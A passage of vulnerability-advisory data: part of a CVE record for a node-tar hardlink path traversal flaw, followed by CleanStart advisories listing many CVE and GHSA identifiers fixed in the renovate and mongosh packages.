[\"cpe:/a:redhat:jboss_enterprise_bpms_platform:7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Process Automation 7\", \"packageName\": \"org.kie.workbench-kie-wb-common\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_enterprise_bpms_platform:7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Process Automation 7\", \"packageName\": \"org.uberfire-uberfire-parent\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:red_hat_single_sign_on:7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Single Sign-On 7\", \"packageName\": \"org.keycloak-keycloak-parent\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}], \"timeline\": [{\"lang\": \"en\", \"time\": \"2026-01-28T01:01:16.886Z\", \"value\": \"Reported to Red Hat.\"}, {\"lang\": \"en\", \"time\": \"2026-01-28T00:20:13.261Z\", \"value\": \"Made public.\"}], \"solutions\": [{\"lang\": \"en\", \"value\": \"RHSA-2026:33371: Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7 Server\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:18480: Red Hat Enterprise Linux AppStream (v. 10)\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:18868: Red Hat Enterprise Linux AppStream (v. 9)\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:2900: Network Observability (NETOBSERV) 1.11.2\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:6192: Red Hat OpenShift Dev Spaces 3.27\"}, {\"lang\": \"en\", \"value\": \"RHSA-2026:5447: Red Hat Trusted Artifact Signer 1.3\"}], \"x_adpType\": \"supplier\", \"datePublic\": \"2026-01-28T00:20:13.261Z\", \"references\": [{\"url\": \"https://access.redhat.com/security/cve/CVE-2026-24842\", \"tags\": [\"vdb-entry\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://bugzilla.redhat.com/show_bug.cgi?id=2433645\", \"name\": \"RHBZ#2433645\", \"tags\": [\"issue-tracking\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-24842.json\", \"tags\": [\"x_sadp-csaf-vex\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:33371\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:18480\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:18868\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:2900\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:6192\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}, {\"url\": \"https://access.redhat.com/errata/RHSA-2026:5447\", \"tags\": [\"vendor-advisory\", \"x_refsource_REDHAT\"]}], \"workarounds\": [{\"lang\": \"en\", \"value\": \"Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.\"}], \"x_generator\": {\"engine\": \"sadp-cli 1.0.0\"}, \"descriptions\": [{\"lang\": \"en\", \"value\": \"A flaw was found in node-tar, a Node.js module for handling TAR archives. This vulnerability allows a remote attacker to bypass path traversal protections by crafting a malicious TAR archive. The security check for hardlink entries uses different path resolution logic than the actual hardlink creation, enabling the attacker to create hardlinks to arbitrary files outside the intended extraction directory. This could lead to unauthorized information disclosure or further system compromise.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-59\", \"description\": \"Improper Link Resolution Before File Access (\u0027Link Following\u0027)\"}]}], \"providerMetadata\": {\"orgId\": \"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\", \"shortName\": \"redhat-SADP\", \"dateUpdated\": \"2026-07-20T12:04:56.380Z\"}}, {\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-24842\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-01-28T14:55:08.552380Z\"}}}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-01-28T14:56:06.877Z\"}}], \"cna\": {\"title\": \"node-tar Vulnerable to Arbitrary File Creation/Overwrite via Hardlink Path Traversal\", \"source\": {\"advisory\": \"GHSA-34x7-hfp2-rc4v\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"CHANGED\", \"version\": \"3.1\", \"baseScore\": 8.2, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N\", \"integrityImpact\": \"LOW\", \"userInteraction\": \"REQUIRED\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"NONE\", \"privilegesRequired\": \"NONE\", \"confidentialityImpact\": \"HIGH\"}}], \"affected\": [{\"vendor\": \"isaacs\", \"product\": \"node-tar\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003c 7.5.7\"}]}], \"references\": [{\"url\": \"https://github.com/isaacs/node-tar/security/advisories/GHSA-34x7-hfp2-rc4v\", \"name\": \"https://github.com/isaacs/node-tar/security/advisories/GHSA-34x7-hfp2-rc4v\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/isaacs/node-tar/commit/f4a7aa9bc3d717c987fdf1480ff7a64e87ffdb46\", \"name\": \"https://github.com/isaacs/node-tar/commit/f4a7aa9bc3d717c987fdf1480ff7a64e87ffdb46\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"node-tar,a Tar for Node.js, contains a vulnerability in versions prior to 7.5.7 where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory. Version 7.5.7 contains a fix for the issue.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-22\", \"description\": \"CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)\"}]}, {\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-59\", \"description\": \"CWE-59: Improper Link Resolution Before File Access (\u0027Link Following\u0027)\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-01-28T00:20:13.261Z\"}}}",
"cveMetadata": "{\"cveId\": \"CVE-2026-24842\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-07-20T12:04:56.380Z\", \"dateReserved\": \"2026-01-27T14:51:03.059Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-01-28T00:20:13.261Z\", \"assignerShortName\": \"GitHub_M\"}",
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
}
}
cleanstart-2026-sw34937
Vulnerability from cleanstart
Published
2026-04-01 09:43
Modified
2026-03-19 07:58
Summary
Security fixes for CVE-2025-64756, CVE-2025-69873, CVE-2026-1525, CVE-2026-1526, CVE-2026-1527, CVE-2026-1528, CVE-2026-2229, CVE-2026-2327, CVE-2026-23745, CVE-2026-2391, CVE-2026-24842, CVE-2026-25128, CVE-2026-25547, CVE-2026-2581, CVE-2026-25896, CVE-2026-26278, CVE-2026-26960, CVE-2026-27601, CVE-2026-27903, CVE-2026-27904, CVE-2026-27942, CVE-2026-28292, CVE-2026-29786, CVE-2026-31802, CVE-2026-32141, CVE-2026-33036, ghsa-23c5-xmqv-rm74, ghsa-25h7-pfq9-p65f, ghsa-2g4f-4pwh-qvx6, ghsa-2mjp-6q6p-2qxm, ghsa-34x7-hfp2-rc4v, ghsa-37qj-frw5-hhjh, ghsa-38c4-r59v-3vqw, ghsa-3ppc-4f35-3m26, ghsa-4992-7rv2-5pvq, ghsa-5j98-mcp5-4vw2, ghsa-73rr-hh4g-fpgx, ghsa-7h2j-956f-4vf2, ghsa-7r86-cg39-jmmj, ghsa-83g3-92jg-28cx, ghsa-8gc5-j5rx-235r, ghsa-8qq5-rm4j-mr97, ghsa-8wc6-vgrq-x6cf, ghsa-9ppj-qmqm-q256, ghsa-f269-vfmq-vjvj, ghsa-fj3w-jwp8-x2g3, ghsa-jmr7-xgp7-cmfj, ghsa-m7jm-9gc2-mpf2, ghsa-phc3-fgpg-7m6h, ghsa-qffp-2rhf-9h96, ghsa-qpx9-hpmf-5gmw, ghsa-r275-fr43-pm7q, ghsa-r6q2-hw4h-h46w, ghsa-v9p9-hfj2-hcw8, ghsa-vrm6-8vpv-qv8q, ghsa-w7fw-mjwx-w883 applied in versions: 43.4.4-r0
Details
Multiple security vulnerabilities affect the renovate package. These issues are resolved in later releases. See references for individual vulnerability details.
References
{
"affected": [
{
"package": {
"ecosystem": "CleanStart",
"name": "renovate"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "43.4.4-r0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"credits": [],
"database_specific": {},
"details": "Multiple security vulnerabilities affect the renovate package. These issues are resolved in later releases. See references for individual vulnerability details.",
"id": "CLEANSTART-2026-SW34937",
"modified": "2026-03-19T07:58:44Z",
"published": "2026-04-01T09:43:38.907490Z",
"references": [
{
"type": "ADVISORY",
"url": "https://github.com/cleanstart-dev/cleanstart-security-advisories/tree/main/advisories/2026/CLEANSTART-2026-SW34937.json"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-64756"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-69873"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-1525"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-1526"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-1527"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-1528"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-2229"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-2327"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-23745"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-2391"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-24842"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-25128"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-25547"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-2581"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-25896"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-26278"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-26960"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-27601"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-27903"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-27904"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-27942"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-28292"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-29786"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-31802"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-32141"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-33036"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-23c5-xmqv-rm74"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-25h7-pfq9-p65f"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-2g4f-4pwh-qvx6"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-2mjp-6q6p-2qxm"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-34x7-hfp2-rc4v"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-37qj-frw5-hhjh"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-38c4-r59v-3vqw"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-3ppc-4f35-3m26"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-4992-7rv2-5pvq"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-5j98-mcp5-4vw2"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-73rr-hh4g-fpgx"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-7h2j-956f-4vf2"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-7r86-cg39-jmmj"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-83g3-92jg-28cx"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-8gc5-j5rx-235r"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-8qq5-rm4j-mr97"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-8wc6-vgrq-x6cf"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-9ppj-qmqm-q256"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-f269-vfmq-vjvj"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-fj3w-jwp8-x2g3"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-jmr7-xgp7-cmfj"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-m7jm-9gc2-mpf2"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-phc3-fgpg-7m6h"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-qffp-2rhf-9h96"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-qpx9-hpmf-5gmw"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-r275-fr43-pm7q"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-r6q2-hw4h-h46w"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-v9p9-hfj2-hcw8"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-vrm6-8vpv-qv8q"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-w7fw-mjwx-w883"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64756"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69873"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1525"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1526"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1527"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1528"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2229"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2327"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23745"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2391"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24842"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25128"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25547"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2581"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25896"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26278"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26960"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27601"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27903"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27904"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27942"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28292"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29786"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31802"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32141"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33036"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes for CVE-2025-64756, CVE-2025-69873, CVE-2026-1525, CVE-2026-1526, CVE-2026-1527, CVE-2026-1528, CVE-2026-2229, CVE-2026-2327, CVE-2026-23745, CVE-2026-2391, CVE-2026-24842, CVE-2026-25128, CVE-2026-25547, CVE-2026-2581, CVE-2026-25896, CVE-2026-26278, CVE-2026-26960, CVE-2026-27601, CVE-2026-27903, CVE-2026-27904, CVE-2026-27942, CVE-2026-28292, CVE-2026-29786, CVE-2026-31802, CVE-2026-32141, CVE-2026-33036, ghsa-23c5-xmqv-rm74, ghsa-25h7-pfq9-p65f, ghsa-2g4f-4pwh-qvx6, ghsa-2mjp-6q6p-2qxm, ghsa-34x7-hfp2-rc4v, ghsa-37qj-frw5-hhjh, ghsa-38c4-r59v-3vqw, ghsa-3ppc-4f35-3m26, ghsa-4992-7rv2-5pvq, ghsa-5j98-mcp5-4vw2, ghsa-73rr-hh4g-fpgx, ghsa-7h2j-956f-4vf2, ghsa-7r86-cg39-jmmj, ghsa-83g3-92jg-28cx, ghsa-8gc5-j5rx-235r, ghsa-8qq5-rm4j-mr97, ghsa-8wc6-vgrq-x6cf, ghsa-9ppj-qmqm-q256, ghsa-f269-vfmq-vjvj, ghsa-fj3w-jwp8-x2g3, ghsa-jmr7-xgp7-cmfj, ghsa-m7jm-9gc2-mpf2, ghsa-phc3-fgpg-7m6h, ghsa-qffp-2rhf-9h96, ghsa-qpx9-hpmf-5gmw, ghsa-r275-fr43-pm7q, ghsa-r6q2-hw4h-h46w, ghsa-v9p9-hfj2-hcw8, ghsa-vrm6-8vpv-qv8q, ghsa-w7fw-mjwx-w883 applied in versions: 43.4.4-r0",
"upstream": [
"CVE-2025-64756",
"CVE-2025-69873",
"CVE-2026-1525",
"CVE-2026-1526",
"CVE-2026-1527",
"CVE-2026-1528",
"CVE-2026-2229",
"CVE-2026-2327",
"CVE-2026-23745",
"CVE-2026-2391",
"CVE-2026-24842",
"CVE-2026-25128",
"CVE-2026-25547",
"CVE-2026-2581",
"CVE-2026-25896",
"CVE-2026-26278",
"CVE-2026-26960",
"CVE-2026-27601",
"CVE-2026-27903",
"CVE-2026-27904",
"CVE-2026-27942",
"CVE-2026-28292",
"CVE-2026-29786",
"CVE-2026-31802",
"CVE-2026-32141",
"CVE-2026-33036",
"ghsa-23c5-xmqv-rm74",
"ghsa-25h7-pfq9-p65f",
"ghsa-2g4f-4pwh-qvx6",
"ghsa-2mjp-6q6p-2qxm",
"ghsa-34x7-hfp2-rc4v",
"ghsa-37qj-frw5-hhjh",
"ghsa-38c4-r59v-3vqw",
"ghsa-3ppc-4f35-3m26",
"ghsa-4992-7rv2-5pvq",
"ghsa-5j98-mcp5-4vw2",
"ghsa-73rr-hh4g-fpgx",
"ghsa-7h2j-956f-4vf2",
"ghsa-7r86-cg39-jmmj",
"ghsa-83g3-92jg-28cx",
"ghsa-8gc5-j5rx-235r",
"ghsa-8qq5-rm4j-mr97",
"ghsa-8wc6-vgrq-x6cf",
"ghsa-9ppj-qmqm-q256",
"ghsa-f269-vfmq-vjvj",
"ghsa-fj3w-jwp8-x2g3",
"ghsa-jmr7-xgp7-cmfj",
"ghsa-m7jm-9gc2-mpf2",
"ghsa-phc3-fgpg-7m6h",
"ghsa-qffp-2rhf-9h96",
"ghsa-qpx9-hpmf-5gmw",
"ghsa-r275-fr43-pm7q",
"ghsa-r6q2-hw4h-h46w",
"ghsa-v9p9-hfj2-hcw8",
"ghsa-vrm6-8vpv-qv8q",
"ghsa-w7fw-mjwx-w883"
]
}
cleanstart-2026-tz34913
Vulnerability from cleanstart
Published
2026-05-18 13:41
Modified
2026-05-06 06:24
Summary
Security fixes for CVE-2022-25881, CVE-2022-33987, CVE-2025-25285, CVE-2025-62718, CVE-2025-69873, CVE-2026-21637, CVE-2026-23745, CVE-2026-24842, CVE-2026-26960, CVE-2026-2950, CVE-2026-29786, CVE-2026-31802, CVE-2026-33750, CVE-2026-33916, CVE-2026-33937, CVE-2026-4800, CVE-2026-4923, CVE-2026-4926, ghsa-23c5-xmqv-rm74, ghsa-2qvq-rjwj-gvw9, ghsa-2w6w-674q-4c4q, ghsa-34x7-hfp2-rc4v, ghsa-3mfm-83xf-c92r, ghsa-3p68-rc4w-qgx5, ghsa-3v7f-55p6-f55p, ghsa-442j-39wm-28r2, ghsa-48c2-rrv3-qjmp, ghsa-72xf-g2v4-qvf3, ghsa-7r86-cg39-jmmj, ghsa-7rx3-28cr-v5wh, ghsa-83g3-92jg-28cx, ghsa-8qq5-rm4j-mr97, ghsa-9cx6-37pm-9jff, ghsa-9ppj-qmqm-q256, ghsa-c2c7-rcm5-vvqj, ghsa-chqc-8p9q-pq6q, ghsa-f23m-r3pf-42rh, ghsa-f886-m6hf-6m8v, ghsa-j3q9-mxjg-w52f, ghsa-pfrx-2q88-qq97, ghsa-qffp-2rhf-9h96, ghsa-r5fr-rjxr-66jc, ghsa-r6q2-hw4h-h46w, ghsa-rc47-6667-2j5j, ghsa-rmvr-2pp2-xj38, ghsa-rp42-5vxx-qpwr, ghsa-w5hq-g745-h8pq, ghsa-xhpv-hc6g-r9c6, ghsa-xjpj-3mr7-gcpf applied in versions: 2.5.10-r2, 2.5.10-r3, 2.5.10-r4, 2.5.10-r5, 2.6.0-r1
Details
Multiple security vulnerabilities affect the mongosh package. These issues are resolved in later releases. See references for individual vulnerability details.
References
| URL | Type | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
{
"affected": [
{
"package": {
"ecosystem": "CleanStart",
"name": "mongosh"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.6.0-r1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"credits": [],
"database_specific": {},
"details": "Multiple security vulnerabilities affect the mongosh package. These issues are resolved in later releases. See references for individual vulnerability details.",
"id": "CLEANSTART-2026-TZ34913",
"modified": "2026-05-06T06:24:38Z",
"published": "2026-05-18T13:41:16.302553Z",
"references": [
{
"type": "ADVISORY",
"url": "https://github.com/cleanstart-dev/cleanstart-security-advisories/tree/main/advisories/2026/CLEANSTART-2026-TZ34913.json"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2022-25881"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2022-33987"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-25285"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-62718"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-69873"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-21637"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-23745"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-24842"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-26960"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-2950"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-29786"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-31802"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-33750"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-33916"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-33937"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-4800"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-4923"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-4926"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-23c5-xmqv-rm74"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-2qvq-rjwj-gvw9"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-2w6w-674q-4c4q"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-34x7-hfp2-rc4v"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-3mfm-83xf-c92r"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-3p68-rc4w-qgx5"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-3v7f-55p6-f55p"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-442j-39wm-28r2"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-48c2-rrv3-qjmp"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-72xf-g2v4-qvf3"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-7r86-cg39-jmmj"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-7rx3-28cr-v5wh"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-83g3-92jg-28cx"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-8qq5-rm4j-mr97"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-9cx6-37pm-9jff"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-9ppj-qmqm-q256"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-c2c7-rcm5-vvqj"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-chqc-8p9q-pq6q"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-f23m-r3pf-42rh"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-f886-m6hf-6m8v"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-j3q9-mxjg-w52f"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-pfrx-2q88-qq97"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-qffp-2rhf-9h96"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-r5fr-rjxr-66jc"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-r6q2-hw4h-h46w"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-rc47-6667-2j5j"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-rmvr-2pp2-xj38"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-rp42-5vxx-qpwr"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-w5hq-g745-h8pq"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-xhpv-hc6g-r9c6"
},
{
"type": "WEB",
